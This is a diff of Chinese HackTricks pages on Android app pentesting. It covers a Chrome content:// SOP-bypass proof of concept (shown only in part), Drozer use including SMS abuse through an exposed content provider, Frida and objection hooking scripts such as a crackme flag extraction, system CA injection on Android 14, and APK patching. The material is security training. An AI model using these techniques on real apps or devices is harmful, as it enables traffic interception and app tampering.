_同源策略_ (SOP) 是浏览器中的一种安全协议,限制网页与不同来源的资源交互,除非通过跨源资源共享 (CORS) 策略明确允许。该策略旨在防止信息泄露和跨站请求伪造。Chrome 将 `content://` 视为本地方案,这意味着更严格的 SOP 规则,其中每个本地方案 URL 被视为一个单独的来源。
然而CVE-2020-6516 是 Chrome 中的一个漏洞,允许通过 `content://` URL 绕过 SOP 规则。实际上,来自 `content://` URL 的 JavaScript 代码可以访问通过 `content://` URL 加载的其他资源,这在安全上是一个重大隐患,尤其是在运行 Android 10 之前版本的 Android 设备上,因为这些版本未实现范围存储。
下面的概念验证演示了这个漏洞,其中一个 HTML 文档在 **/sdcard** 下上传并添加到媒体库中,使用其 JavaScript 中的 `XMLHttpRequest` 访问并显示媒体库中另一个文件的内容,绕过了 SOP 规则。
下面的概念验证演示了漏洞,其中一个 HTML 文档在 **/sdcard** 下上传并添加到媒体库中,使用其 JavaScript 中的 `XMLHttpRequest` 访问并显示媒体库中另一个文件的内容,绕过了 SOP 规则。
Proof-of-Concept HTML:
```xml
@ -79,8 +76,4 @@ xhr.send();
<body onload="poc()"></body>
</html>
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,23 +1,19 @@
# Drozer Tutorial
# Drozer 教程
{{#include ../../../banners/hacktricks-training.md}}
<img src="../../../images/i3.png" alt="" data-size="original">
**漏洞赏金提示**: **注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
## 待测试的 APK
## 待测试的APKs
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (来自mrwlabs)
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (来自 mrwlabs)
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
**本教程的部分内容摘自** [**Drozer文档pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**。**
**本教程的部分内容摘自** [**Drozer 文档 pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**。**
## 安装
在您的主机上安装Drozer客户端。从[最新版本](https://github.com/mwrlabs/drozer/releases)下载。
在您的主机上安装 Drozer 客户端。可以 [最新版本](https://github.com/mwrlabs/drozer/releases) 下载。
```bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
@ -100,7 +96,7 @@ Attack Surface:
is debuggable
```
- **活动**: 也许你可以启动一个活动并绕过某种授权,这应该阻止你启动它。
- **内容提供者**: 也许你可以访问私有数据或利用某漏洞SQL注入或路径遍历
- **内容提供者**: 也许你可以访问私有数据或利用某漏洞SQL注入或路径遍历
- **服务**:
- **可调试**: [了解更多](./#is-debuggeable)
@ -220,7 +216,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu
```
#### 发送消息
在这个例子中,利用 [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) 内容提供者,你可以 **发送任意短信** 到任何非高级目的地 **而无需** 用户许可。
在这个例子中,利用 [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) 内容提供者,你可以 **发送任意短信** 到任何非高级目的地 **而无需** 用户许可。
![](<../../../images/image (415).png>)
@ -254,10 +250,6 @@ run app.package.debuggable
- [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
<img src="../../../images/i3.png" alt="" data-size="original">
**漏洞赏金提示**: **注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,11 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**漏洞赏金提示**: **注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
## 安装
@ -27,7 +22,7 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
```
## 教程
### [教程 1](frida-tutorial-1.md)
### [Tutorial 1](frida-tutorial-1.md)
**来源**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
@ -35,25 +30,25 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
**请访问[链接阅读](frida-tutorial-1.md)。**
### [教程 2](frida-tutorial-2.md)
### [Tutorial 2](frida-tutorial-2.md)
**来源**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (第 2、3 4 部分)\
**APK 和源代码**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**来源**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (第2、3和4部分)\
**APKs和源代码**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**请访问[链接阅读。](frida-tutorial-2.md)**
### [教程 3](owaspuncrackable-1.md)
### [Tutorial 3](owaspuncrackable-1.md)
**来源**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
**请访问[链接阅读](owaspuncrackable-1.md)。**
**您可以在这里找到更多精彩的 Frida 脚本:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
**您可以在这里找到更多精彩的Frida脚本:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
## 快速示例
### 从命令行调用 Frida
### 从命令行调用Frida
```bash
frida-ps -U
@ -110,7 +105,7 @@ send("MainActivity.onCreate() HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
钩住 Android `.onCreate()`
钩住安卓 `.onCreate()`
```javascript
var activity = Java.use("android.app.Activity")
activity.onCreate.overload("android.os.Bundle").implementation = function (
@ -182,10 +177,5 @@ onComplete: function () {},
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
- [高级 Frida 使用博客系列的第 1 部分IOS 加密库](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**漏洞赏金提示****注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,19 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
**这是文章的摘要**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**源代码**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
## Python
Frida 允许你在运行的应用程序的函数内部**插入 JavaScript 代码**。但你可以使用**python**来**调用**钩子,甚至与**钩子**进行**交互**。
Frida 允许你在运行的应用程序的函数内部**插入 JavaScript 代码**。但你可以使用**python**来**调用**钩子,甚至与**钩子**进行**交互**。
这是一个简单的 python 脚本,你可以与本教程中所有提出的示例一起使用:
```python
@ -61,7 +55,7 @@ python hooking.py hook1.js
### 非静态函数
如果您想调用类的非静态函数,您**首先需要一个该类的实例**。然后,您可以使用该实例来调用该函数。\
如果您想调用一个类的非静态函数,您**首先需要一个该类的实例**。然后,您可以使用该实例来调用该函数。\
为此,您可以**找到一个现有的实例**并使用它:
```javascript
Java.perform(function () {
@ -100,7 +94,7 @@ console.log("[ + ] Found correct PIN: " + i)
```
## Hook 3 - 检索参数和返回值
您可以钩一个函数并使其**打印** **传递的参数**的值和**返回值**的值:
您可以钩一个函数并使其**打印**传递的**参数**的值和**返回值**的值:
```javascript
//hook3.js
Java.perform(function () {
@ -120,14 +114,9 @@ return encrypted_ret
```
## 重要
在本教程中,您使用方法名称和 _.implementation_ 钩住了方法。但是如果有 **多个同名方法**,您需要 **指定要钩住的方法****指明参数的类型**
在本教程中,您使用方法名称和 _.implementation_ 钩住了方法。但是如果有 **多个同名方法**,您需要 **指定要钩住的方法** **并指明参数类型**
您可以在 [下一个教程](frida-tutorial-2.md) 中看到这一点。
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**漏洞赏金提示****注册** **Intigriti**,这是一个由黑客为黑客创建的高级 **漏洞赏金平台**!今天就加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**漏洞赏金提示**: **注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
**这是文章的摘要**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (第 2、3 和 4 部分)\
**APKs 和源代码**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
@ -15,11 +9,11 @@
**原始代码的某些部分无法正常工作,并在此进行了修改。**
## Part 2
## 第 2 部分
在这里你可以看到一个如何**钩取两个同名但参数不同的函数**的示例。\
此外,你将学习如何**使用自己的参数调用函数**。\
最后,还有一个示例,展示如何**找到一个类的实例并使其调用一个函数**。
在这里你可以看到一个如何 **hook 2 个同名但参数不同的函数** 的示例。\
此外,你将学习如何 **使用自己的参数调用一个函数**。\
最后,还有一个示例,展示如何 **找到一个类的实例并使其调用一个函数**
```javascript
//s2.js
console.log("Script loaded successfully ");
@ -77,11 +71,11 @@ raw_input()
```
python loader.py
```
## 第3部分
## Part 3
### Python
现在您将看到如何通过Python向被hook的应用发送命令以调用函数:
现在你将看到如何通过 Python 向被 Hook 的应用发送命令以调用函数:
```python
//loader.py
import time
@ -112,7 +106,7 @@ script.exports.callsecretfunction()
elif command == "3":
script.exports.hooksecretfunction()
```
命令 "**1**" 将 **退出**,命令 "**2**" 将查找并 **实例化类并调用私有函数** _**secret()**_,命令 "**3**" 将 **钩住** 函数 _**secret()**_ 以便 **返回** 一个 **不同的字符串**
命令 "**1**" 将 **退出**,命令 "**2**" 将查找并 **实例化类并调用私有函数** _**secret()**_,命令 "**3**" 将 **钩住** 函数 _**secret()**_ 以便 **返回** 一个 **不同的字符串**
因此,如果你调用 "**2**",你将得到 **真实的秘密**,但如果你先调用 "**3**" 然后再调用 "**2**",你将得到 **假的秘密**
@ -210,10 +204,5 @@ return this.setText(string_to_recv)
```
有一个第5部分我不打算解释因为没有任何新内容。但如果你想阅读可以在这里找到[https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**漏洞赏金提示****注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,11 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
<img src="../../../images/i3.png" alt="" data-size="original">
**Bug bounty tip**: **注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
## **介绍**
@ -34,7 +30,7 @@ pip3 install objection
```
### 连接
建立一个 **常规 ADB 连接****启动** 设备**frida** 服务器(并检查 frida 在客户端和服务器上是否正常工作)。
建立一个 **常规 ADB 连接****启动** 设备**frida** 服务器(并检查 frida 在客户端和服务器上是否正常工作)。
如果您使用的是 **root 设备**,则需要在 _**--gadget**_ 选项中选择您想要测试的应用程序。在这种情况下:
```bash
@ -88,9 +84,9 @@ android ui FLAG_SECURE false #This may enable you to take screenshots using the
```
### 静态分析变为动态
在真实应用中,我们应该在使用 objection 之前了解这一部分发现的所有信息,这得益于 **静态分析**。无论如何,这种方式也许可以让你看到 **一些新东西**,因为在这里你将仅获得一个完整的类、方法和导出对象的列表。
在真实应用中,我们应该在使用 objection 之前了解这一部分发现的所有信息,这得益于 **静态分析**。无论如何,这种方式也许可以让你看到 **一些新东西**,因为在这里你只会得到一个完整的类、方法和导出对象的列表。
如果你以某种方式 **无法获取应用的可读源代码**,这也是有用的。
如果你以某种方式 **无法获取应用的可读源代码**,这也是有用的。
#### 列出活动、接收器和服务
```bash
@ -151,9 +147,9 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d
```
![](<../../../images/image (1086).png>)
#### Hooking (watching) an entire class
#### 钩住(观察)整个类
实际上,我发现 MainActivity 类的所有方法都非常有趣,让我们**全部 hook 住**。小心,这可能会**崩溃**一个应用程序。
实际上,我发现 MainActivity 类的所有方法都非常有趣,让我们**钩住它们**。小心,这可能会**崩溃**一个应用程序。
```bash
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
```
@ -228,11 +224,3 @@ exit
- 钩子方法有时会导致应用程序崩溃(这也是因为 Frida
- 你不能使用类的实例来调用实例的函数。你也不能创建类的新实例并使用它们来调用函数。
- 没有快捷方式(像 sslpinnin 那样来钩住应用程序使用的所有常见加密方法以查看加密文本、明文、密钥、IV 和使用的算法。
<img src="../../../images/i3.png" alt="" data-size="original">
**漏洞赏金提示****注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,11 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**漏洞赏金提示**: **注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
---
@ -17,7 +12,7 @@
基于 [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
**Hook \_exit()**\_ 函数和 **decrypt function**,以便在您按下验证时在 frida 控制台中打印标志:
**Hook \_exit()**\_ 函数和 **decrypt function**,以便在你按下验证时在 frida 控制台中打印标志:
```javascript
Java.perform(function () {
send("Starting hooks OWASP uncrackable1...")
@ -120,10 +115,4 @@ return false
send("Hooks installed.")
})
```
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**漏洞赏金提示**: **注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,9 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## 在虚拟机上
@ -12,8 +9,8 @@
![](<../../images/image (367).png>)
**以 Der 格式导出证书**,然后让我们**转换**它为**Android**能够**理解**的格式。请注意,**为了在 AVD 的 Android 机器上配置 Burp 证书**,您需要**使用** **`-writable-system`** 选项运行此机器。\
例如,您可以这样运行
**以 Der 格式导出证书**,然后让我们**转换**它为 **Android** 能够**理解**的形式。请注意,**为了在 AVD 的 Android 机器上配置 burp 证书**,您需要**使用** **`-writable-system`** 选项运行此机器。\
例如,您可以这样运行:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
@ -40,27 +37,27 @@ adb reboot #Now, reboot the machine
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
- 检查证书是否正确存储,转到 `Trusted credentials` -> `USER`
- 检查证书是否正确存储,前往 `Trusted credentials` -> `USER`
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
2. **使其系统信任**:下载 Magisc 模块 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个 .zip 文件),**拖放到**手机中,转到手机中的**Magics 应用**的**`Modules`**部分,点击**`Install from storage`**,选择 `.zip` 模块,安装完成后**重启**手机:
2. **使其系统信任**:下载 Magisc 模块 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个 .zip 文件),**拖放到**手机中,前往手机中的**Magics 应用**的**`Modules`**部分,点击**`Install from storage`**,选择 `.zip` 模块,安装完成后**重启**手机:
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
- 重启后,转到 `Trusted credentials` -> `SYSTEM`,检查 Postswigger 证书是否存在
- 重启后,前往 `Trusted credentials` -> `SYSTEM`,检查 Postswigger 证书是否存在
<figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
## Android 14 后
在最新的 Android 14 版本中系统信任的证书颁发机构CA证书的处理方式发生了重大变化。以前这些证书存放在**`/system/etc/security/cacerts/`**,可以被具有 root 权限的用户访问和修改,从而允许在系统中立即应用。然而,在 Android 14 中,存储位置已移至**`/apex/com.android.conscrypt/cacerts`**,这是**`/apex`**路径下的一个目录,天生是不可变的。
在最新的 Android 14 版本中系统信任的证书颁发机构CA证书的处理方式发生了重大变化。以前这些证书存放在 **`/system/etc/security/cacerts/`**,可以被具有 root 权限的用户访问和修改,从而允许在系统中立即应用。然而,在 Android 14 中,存储位置已移至 **`/apex/com.android.conscrypt/cacerts`**,这是 **`/apex`** 路径中的一个目录,天生是不可变的。
尝试将**APEX cacerts 路径**重新挂载为可写时会失败因为系统不允许此类操作。即使尝试卸载或用临时文件系统tmpfs覆盖该目录也无法规避不可变性应用程序继续访问原始证书数据无论文件系统级别的更改如何。这种韧性是由于**`/apex`**挂载配置为 PRIVATE 传播,确保在**`/apex`**目录中的任何修改不会影响其他进程。
尝试将 **APEX cacerts 路径**重新挂载为可写时会失败因为系统不允许此类操作。即使尝试卸载或用临时文件系统tmpfs覆盖该目录也无法规避不可变性应用程序继续访问原始证书数据无论文件系统级别的更改如何。这种韧性是由于 **`/apex`** 挂载配置为 PRIVATE 传播,确保 **`/apex`** 目录中的任何修改不会影响其他进程。
Android 的初始化涉及 `init` 进程,该进程在启动操作系统时,也会启动 Zygote 进程。该进程负责以新的挂载命名空间启动应用程序进程,其中包括一个私有的**`/apex`**挂载,从而将对该目录的更改与其他进程隔离。
Android 的初始化涉及 `init` 进程,该进程在启动操作系统时会启动 Zygote 进程。该进程负责以新的挂载命名空间启动应用程序进程,其中包括一个私有的 **`/apex`** 挂载,从而将对该目录的更改与其他进程隔离。
然而,对于需要修改**`/apex`**目录中系统信任的 CA 证书的人来说,存在一种解决方法。这涉及手动重新挂载**`/apex`**以移除 PRIVATE 传播,从而使其可写。该过程包括将**`/apex/com.android.conscrypt`**的内容复制到另一个位置,卸载**`/apex/com.android.conscrypt`**目录以消除只读约束,然后将内容恢复到**`/apex`**中的原始位置。此方法需要迅速行动以避免系统崩溃。为了确保这些更改在系统范围内生效,建议重启 `system_server`,这有效地重启所有应用程序并使系统恢复到一致状态。
然而,对于需要修改 **`/apex`** 目录中系统信任的 CA 证书的人来说,存在一种解决方法。这涉及手动重新挂载 **`/apex`** 以去除 PRIVATE 传播,从而使其可写。该过程包括将 **`/apex/com.android.conscrypt`** 的内容复制到另一个位置,卸载 **`/apex/com.android.conscrypt`** 目录以消除只读约束,然后将内容恢复到 **`/apex`** 中的原始位置。此方法需要迅速行动以避免系统崩溃。为了确保这些更改在系统范围内生效,建议重启 `system_server`,这有效地重启所有应用程序并使系统恢复到一致状态。
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -125,13 +122,13 @@ echo "System certificate injected"
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **准备 CA 证书**:在设置可写目录后,应该将打算使用的 CA 证书复制到该目录中。这可能涉及从 `/apex/com.android.conscrypt/cacerts/` 复制默认证书。必须相应地调整这些证书的权限和 SELinux 标签。
3. **为 Zygote 绑定挂载**利用 `nsenter`,进入 Zygote 的挂载命名空间。Zygote 作为负责启动 Android 应用程序的进程,需要此步骤以确保所有随后启动的应用程序使用新配置的 CA 证书。使用的命令是:
3. **为 Zygote 绑定挂载**使用 `nsenter`,进入 Zygote 的挂载命名空间。Zygote 是负责启动 Android 应用程序的进程,此步骤是确保所有随后启动的应用程序使用新配置的 CA 证书。使用的命令是:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
这确保每个新启动的应用程序将遵循更新的 CA 证书设置。
4. **将更改应用于正在运行的应用程序**:要将更改应用于已经运行的应用程序,再次使用 `nsenter` 进入每个应用的命名空间,并执行类似的绑定挂载。必要的命令是:
4. **将更改应用于正在运行的应用程序**:要将更改应用于已经运行的应用程序,再次使用 `nsenter` 进入每个应用程序的命名空间,并执行类似的绑定挂载。必要的命令是:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
@ -141,8 +138,5 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/
- [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,55 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
通过8kSec Academy深化您在**移动安全**方面的专业知识。通过我们的自学课程掌握iOS和Android安全并获得认证
{% embed url="https://academy.8ksec.io/" %}
**更多信息请查看:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
Android应用可以使用本地库通常用C或C++编写,以执行性能关键的任务。恶意软件创建者也使用这些库因为它们比DEX字节码更难以反向工程。该部分强调针对Android的反向工程技能而不是教授汇编语言。提供ARM和x86版本的库以确保兼容性。
Android 应用可以使用本地库,通常用 C 或 C++ 编写,以满足性能关键任务的需求。恶意软件创建者也使用这些库,因为它们比 DEX 字节码更难以反向工程。该部分强调针对 Android 的反向工程技能,而不是教授汇编语言。提供了 ARM 和 x86 版本的库以确保兼容性。
### 关键点:
- **Android应用中的本地库**
- **Android 应用中的本地库:**
- 用于性能密集型任务。
- 用C或C++编写,使反向工程具有挑战性。
- 以`.so`共享对象格式存在类似于Linux二进制文件。
- 用 C C++ 编写,使反向工程具有挑战性。
- 以 `.so`(共享对象)格式存在,类似于 Linux 二进制文件。
- 恶意软件创建者更喜欢本地代码以增加分析难度。
- **Java本地接口JNI和Android NDK**
- JNI允许在本地代码中实现Java方法。
- NDK是用于编写本地代码的Android特定工具集
- JNI和NDK将Java或Kotlin代码与本地库连接起来。
- **Java 本地接口JNI Android NDK**
- JNI 允许在本地代码中实现 Java 方法。
- NDK 是一组特定于 Android 的工具,用于编写本地代码
- JNI NDK Java Kotlin代码与本地库连接起来。
- **库加载与执行:**
- 使用`System.loadLibrary``System.load`将库加载到内存中。
- 在加载时执行JNI_OnLoad。
- Java声明的本地方法链接到本地函数从而启用执行。
- **将Java方法链接到本地函数**
- 使用 `System.loadLibrary` `System.load` 将库加载到内存中。
- 在加载时执行 JNI_OnLoad。
- Java 声明的本地方法链接到本地函数,从而实现执行。
- **将 Java 方法链接到本地函数:**
- **动态链接:** 本地库中的函数名称匹配特定模式,允许自动链接。
- **静态链接:** 使用`RegisterNatives`进行链接,提供函数命名和结构的灵活性。
- **静态链接:** 使用 `RegisterNatives` 进行链接,提供函数命名和结构的灵活性。
- **反向工程工具和技术:**
- Ghidra和IDA Pro等工具有助于分析本地库。
- `JNIEnv`理解JNI函数和交互至关重要。
- Ghidra IDA Pro 等工具有助于分析本地库。
- `JNIEnv` 对理解 JNI 函数和交互至关重要。
- 提供练习以实践加载库、链接方法和识别本地函数。
### 资源:
- **学习ARM汇编**
- **学习 ARM 汇编:**
- 建议深入了解底层架构。
- 推荐Azeria Labs的[ARM汇编基础](https://azeria-labs.com/writing-arm-assembly-part-1/)。
- **JNI和NDK文档**
- [Oracle的JNI规范](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
- [Android的JNI提示](https://developer.android.com/training/articles/perf-jni)
- [开始使用NDK](https://developer.android.com/ndk/guides/)
- 推荐 [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) 来自 Azeria Labs
- **JNI NDK 文档:**
- [Oracle JNI 规范](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
- [Android JNI 提示](https://developer.android.com/training/articles/perf-jni)
- [开始使用 NDK](https://developer.android.com/ndk/guides/)
- **调试本地库:**
- [使用JEB反编译器调试Android本地库](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
通过8kSec Academy深化您在**移动安全**方面的专业知识。通过我们的自学课程掌握iOS和Android安全并获得认证
{% embed url="https://academy.8ksec.io/" %}
- [使用 JEB 反编译器调试 Android 本地库](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,25 +2,19 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
通过8kSec Academy深化您在**移动安全**方面的专业知识。通过我们的自学课程掌握iOS和Android安全并获得认证
{% embed url="https://academy.8ksec.io/" %}
有时修改应用程序代码以访问隐藏信息可能是经过良好混淆的密码或标志是很有趣的。然后反编译apk、修改代码并重新编译可能会很有趣。
有时修改应用程序代码以访问隐藏信息可能是经过良好混淆的密码或标志是很有趣的。然后反编译apk修改代码并重新编译可能会很有趣。
**操作码参考:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html)
## 快速方法
使用**Visual Studio Code**和[APKLab](https://github.com/APKLab/APKLab)扩展,您可以**自动反编译**、修改、**重新编译**、签名并安装应用程序,而无需执行任何命令。
使用 **Visual Studio Code** 和 [APKLab](https://github.com/APKLab/APKLab) 扩展,您可以 **自动反编译**、修改、**重新编译**、签名并安装应用程序,而无需执行任何命令。
另一个大大简化此任务的**脚本**是[**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
另一个大大简化此任务的 **脚本** [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
## 反编译APK
使用APKTool您可以访问**smali代码和资源**
使用APKTool您可以访问 **smali代码和资源**
```bash
apktool d APP.apk
```
@ -50,11 +44,11 @@ apktool d APP.apk
```bash
apktool b . #In the folder generated when you decompiled the application
```
它将**编译**新的APK**在**_**dist**_文件夹
它将**编译**新的APK**在**_**dist**_文件夹
如果**apktool**抛出**错误**,请尝试[安装**最新版本**](https://ibotpeaches.github.io/Apktool/install/)
### **签新的APK**
### **签新的APK**
然后,您需要**生成一个密钥**(系统会要求您输入密码和一些您可以随机填写的信息):
```bash
@ -66,14 +60,14 @@ jarsigner -keystore key.jks path/to/dist/* <your-alias>
```
### 优化新应用程序
